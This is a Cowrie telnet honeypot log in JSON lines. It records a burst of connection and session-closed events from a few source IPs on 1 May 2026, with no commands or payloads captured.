{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41330,"dst_ip":"10.17.0.5","dst_port":23,"session":"071a924d3648","protocol":"telnet","message":"New connection: 208.115.200.90:41330 (10.17.0.5:23) [session: 071a924d3648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.137440Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41344,"dst_ip":"10.17.0.5","dst_port":23,"session":"96774b6476ed","protocol":"telnet","message":"New connection: 208.115.200.90:41344 (10.17.0.5:23) [session: 96774b6476ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.252892Z"}
{"eventid":"cowrie.session.closed","duration":30.513007879257202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.312319Z","src_ip":"208.115.200.90","session":"df9e44dded0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40967321395874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.497039Z","src_ip":"208.115.200.90","session":"354653b382c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41354,"dst_ip":"10.17.0.5","dst_port":23,"session":"105d61815510","protocol":"telnet","message":"New connection: 208.115.200.90:41354 (10.17.0.5:23) [session: 105d61815510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.517865Z"}
{"eventid":"cowrie.session.closed","duration":31.064185857772827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.542652Z","src_ip":"208.115.200.90","session":"5d26dae08b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842250108718872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.654420Z","src_ip":"208.115.200.90","session":"890f9e4b628d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421577215194702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:22.056213Z","src_ip":"208.115.200.90","session":"447fd5b6285d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45458722114563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:23.076236Z","src_ip":"208.115.200.90","session":"913c0d7409de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41356,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa36ae60b52","protocol":"telnet","message":"New connection: 208.115.200.90:41356 (10.17.0.5:23) [session: 3aa36ae60b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:23.257989Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41368,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab8380fa921","protocol":"telnet","message":"New connection: 208.115.200.90:41368 (10.17.0.5:23) [session: 9ab8380fa921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:23.326225Z"}
{"eventid":"cowrie.session.closed","duration":31.231804132461548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:23.452595Z","src_ip":"208.115.200.90","session":"dd638fbea915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934594869613647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:24.228607Z","src_ip":"208.115.200.90","session":"23c586928ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94382643699646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:24.365637Z","src_ip":"208.115.200.90","session":"b12da80930fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50648,"dst_ip":"10.17.0.5","dst_port":23,"session":"35720c0967e7","protocol":"telnet","message":"New connection: 208.115.200.90:50648 (10.17.0.5:23) [session: 35720c0967e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:24.660611Z"}
{"eventid":"cowrie.session.closed","duration":30.434460401535034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:25.188869Z","src_ip":"208.115.200.90","session":"ec70d64a688b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216505765914917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:25.329578Z","src_ip":"208.115.200.90","session":"95ef7e6d9823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50656,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b5d532ef160","protocol":"telnet","message":"New connection: 208.115.200.90:50656 (10.17.0.5:23) [session: 2b5d532ef160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:27.116650Z"}
{"eventid":"cowrie.session.closed","duration":30.497121810913086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:27.442693Z","src_ip":"208.115.200.90","session":"eb42cfa923d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e8c1b5e290","protocol":"telnet","message":"New connection: 208.115.200.90:50666 (10.17.0.5:23) [session: a7e8c1b5e290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:27.657678Z"}
{"eventid":"cowrie.session.closed","duration":30.886901378631592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.025912Z","src_ip":"208.115.200.90","session":"39474f79d33c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507720232009888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.058298Z","src_ip":"208.115.200.90","session":"f1add597fd40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50674,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df76e6ba31e","protocol":"telnet","message":"New connection: 208.115.200.90:50674 (10.17.0.5:23) [session: 4df76e6ba31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.089239Z"}
{"eventid":"cowrie.session.closed","duration":31.049689769744873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.111835Z","src_ip":"208.115.200.90","session":"7f095e9e323f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50684,"dst_ip":"10.17.0.5","dst_port":23,"session":"44c0d32961b4","protocol":"telnet","message":"New connection: 208.115.200.90:50684 (10.17.0.5:23) [session: 44c0d32961b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.196395Z"}
{"eventid":"cowrie.session.closed","duration":30.968075275421143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.425098Z","src_ip":"208.115.219.122","session":"d8cd9819b37d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139793395996094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.456074Z","src_ip":"208.115.219.122","session":"3d419ee670e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.465481281280518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:28.960019Z","src_ip":"208.115.200.90","session":"969ca8a39db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783286094665527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:29.041500Z","src_ip":"208.115.200.90","session":"685d39c924f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93686532974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:29.285148Z","src_ip":"208.115.200.90","session":"9d84cd926b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50692,"dst_ip":"10.17.0.5","dst_port":23,"session":"d274d9d4c085","protocol":"telnet","message":"New connection: 208.115.200.90:50692 (10.17.0.5:23) [session: d274d9d4c085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:29.316056Z"}
{"eventid":"cowrie.session.closed","duration":30.574638605117798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:29.406766Z","src_ip":"208.115.200.90","session":"1f406b515ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50696,"dst_ip":"10.17.0.5","dst_port":23,"session":"170ebed8877f","protocol":"telnet","message":"New connection: 208.115.200.90:50696 (10.17.0.5:23) [session: 170ebed8877f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:29.663165Z"}
{"eventid":"cowrie.session.closed","duration":30.5749351978302,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:30.049202Z","src_ip":"208.115.200.90","session":"26d58d07bdc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992605686187744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:30.243396Z","src_ip":"208.115.200.90","session":"0841bd24c0b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999683380126953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:30.296471Z","src_ip":"208.115.200.90","session":"459bdcccb7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972131729125977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:30.354823Z","src_ip":"208.115.200.90","session":"fe6d78399dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734178066253662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:30.520055Z","src_ip":"208.115.200.90","session":"c2498e60d230","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50698,"dst_ip":"10.17.0.5","dst_port":23,"session":"db869d1bd0a4","protocol":"telnet","message":"New connection: 208.115.200.90:50698 (10.17.0.5:23) [session: db869d1bd0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:31.070129Z"}
{"eventid":"cowrie.session.closed","duration":31.00268244743347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:31.343981Z","src_ip":"208.115.200.90","session":"5b2403ebedb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919876098632812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:31.443913Z","src_ip":"208.115.200.90","session":"dd37a6748ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50704,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcfa8a827e65","protocol":"telnet","message":"New connection: 208.115.200.90:50704 (10.17.0.5:23) [session: bcfa8a827e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:31.665350Z"}
{"eventid":"cowrie.session.closed","duration":31.00133514404297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:32.253771Z","src_ip":"208.115.200.90","session":"5c4b97e1e989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":34280,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0024f2a7ce","protocol":"telnet","message":"New connection: 162.241.141.97:34280 (159.203.135.109:23) [session: eb0024f2a7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:32.751235Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50718,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb89fb9b3f67","protocol":"telnet","message":"New connection: 208.115.200.90:50718 (10.17.0.5:23) [session: fb89fb9b3f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:33.061634Z"}
{"eventid":"cowrie.session.closed","duration":30.708866834640503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:33.066818Z","src_ip":"208.115.200.90","session":"6c1bfef8527a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50734,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f720098e40c","protocol":"telnet","message":"New connection: 208.115.200.90:50734 (10.17.0.5:23) [session: 1f720098e40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:33.358436Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48218,"dst_ip":"159.203.135.109","dst_port":23,"session":"74baa8f4eb11","protocol":"telnet","message":"New connection: 192.119.108.58:48218 (159.203.135.109:23) [session: 74baa8f4eb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:33.706006Z"}
{"eventid":"cowrie.session.closed","duration":31.08981418609619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:34.267826Z","src_ip":"208.115.200.90","session":"61326279173e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47388,"dst_ip":"10.17.0.5","dst_port":23,"session":"144985d89f7e","protocol":"telnet","message":"New connection: 208.115.200.90:47388 (10.17.0.5:23) [session: 144985d89f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.084780Z"}
{"eventid":"cowrie.session.closed","duration":30.51303720474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.164450Z","src_ip":"208.115.200.90","session":"eb840d4222a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47402,"dst_ip":"10.17.0.5","dst_port":23,"session":"69386d9dccb2","protocol":"telnet","message":"New connection: 208.115.200.90:47402 (10.17.0.5:23) [session: 69386d9dccb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.307783Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"674a4ad6c426","protocol":"telnet","message":"New connection: 208.115.200.90:47406 (10.17.0.5:23) [session: 674a4ad6c426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.369101Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47412,"dst_ip":"10.17.0.5","dst_port":23,"session":"296e5eddbe1b","protocol":"telnet","message":"New connection: 208.115.200.90:47412 (10.17.0.5:23) [session: 296e5eddbe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.717481Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49892,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb6503b86573","protocol":"telnet","message":"New connection: 192.119.108.58:49892 (159.203.135.109:23) [session: eb6503b86573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.750886Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49980,"dst_ip":"159.203.135.109","dst_port":23,"session":"e80e9da2f6d7","protocol":"telnet","message":"New connection: 192.119.108.58:49980 (159.203.135.109:23) [session: e80e9da2f6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.838586Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49218,"dst_ip":"159.203.135.109","dst_port":23,"session":"43da42a2497a","protocol":"telnet","message":"New connection: 192.119.108.58:49218 (159.203.135.109:23) [session: 43da42a2497a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:35.951845Z"}
{"eventid":"cowrie.session.closed","duration":30.629539489746094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:36.091374Z","src_ip":"208.115.200.90","session":"e9fff0e89fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50402,"dst_ip":"159.203.135.109","dst_port":23,"session":"321ca862f7be","protocol":"telnet","message":"New connection: 192.119.108.58:50402 (159.203.135.109:23) [session: 321ca862f7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:36.242847Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49604,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71f8a97c271","protocol":"telnet","message":"New connection: 192.119.108.58:49604 (159.203.135.109:23) [session: e71f8a97c271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:36.370617Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55654,"dst_ip":"10.17.0.5","dst_port":23,"session":"2794a79e092d","protocol":"telnet","message":"New connection: 208.115.219.122:55654 (10.17.0.5:23) [session: 2794a79e092d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:36.621068Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50884,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe8692e4483c","protocol":"telnet","message":"New connection: 192.119.108.58:50884 (159.203.135.109:23) [session: fe8692e4483c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:36.719004Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e69897f9821","protocol":"telnet","message":"New connection: 192.119.108.58:51070 (159.203.135.109:23) [session: 5e69897f9821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:36.851351Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51244,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e3fbb13697","protocol":"telnet","message":"New connection: 192.119.108.58:51244 (159.203.135.109:23) [session: f3e3fbb13697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:37.002052Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51262,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb0b9f1b571","protocol":"telnet","message":"New connection: 192.119.108.58:51262 (159.203.135.109:23) [session: dcb0b9f1b571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:37.020050Z"}
{"eventid":"cowrie.session.closed","duration":30.939651250839233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:37.051045Z","src_ip":"208.115.200.90","session":"44d33d6b3bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51460,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f826ad2ba3","protocol":"telnet","message":"New connection: 192.119.108.58:51460 (159.203.135.109:23) [session: 25f826ad2ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:37.273674Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":41248,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b4b394a8ba0","protocol":"telnet","message":"New connection: 162.241.141.97:41248 (159.203.135.109:23) [session: 8b4b394a8ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:37.612061Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47422,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f14f11f44db","protocol":"telnet","message":"New connection: 208.115.200.90:47422 (10.17.0.5:23) [session: 8f14f11f44db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:37.683907Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49490,"dst_ip":"159.203.135.109","dst_port":23,"session":"741475cb6c34","protocol":"telnet","message":"New connection: 192.119.108.58:49490 (159.203.135.109:23) [session: 741475cb6c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:38.255854Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52492,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f966d7b49e0","protocol":"telnet","message":"New connection: 192.119.108.58:52492 (159.203.135.109:23) [session: 4f966d7b49e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:38.337080Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52710,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4d581913b9c","protocol":"telnet","message":"New connection: 192.119.108.58:52710 (159.203.135.109:23) [session: c4d581913b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:38.558477Z"}
{"eventid":"cowrie.session.closed","duration":30.084807634353638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:39.052229Z","src_ip":"208.115.200.90","session":"d8a76810f180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50560,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ef0222f9614","protocol":"telnet","message":"New connection: 192.119.108.58:50560 (159.203.135.109:23) [session: 3ef0222f9614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:39.388774Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53620,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bc5d9d336b3","protocol":"telnet","message":"New connection: 192.119.108.58:53620 (159.203.135.109:23) [session: 8bc5d9d336b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:39.536700Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47438,"dst_ip":"10.17.0.5","dst_port":23,"session":"262a0a075a44","protocol":"telnet","message":"New connection: 208.115.200.90:47438 (10.17.0.5:23) [session: 262a0a075a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:39.696645Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51458,"dst_ip":"159.203.135.109","dst_port":23,"session":"c533c4778a6a","protocol":"telnet","message":"New connection: 192.119.108.58:51458 (159.203.135.109:23) [session: c533c4778a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:40.272322Z"}
{"eventid":"cowrie.session.closed","duration":30.93433451652527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:40.292607Z","src_ip":"208.115.200.90","session":"19ed07d6ff18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53472,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67b95274fd8","protocol":"telnet","message":"New connection: 192.119.108.58:53472 (159.203.135.109:23) [session: c67b95274fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:40.390466Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54292,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc42dd18a06","protocol":"telnet","message":"New connection: 192.119.108.58:54292 (159.203.135.109:23) [session: bfc42dd18a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:40.403916Z"}
{"eventid":"cowrie.session.closed","duration":31.354422330856323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:40.457705Z","src_ip":"208.115.200.90","session":"9d9c909bf3d7","protocol":"telnet"}
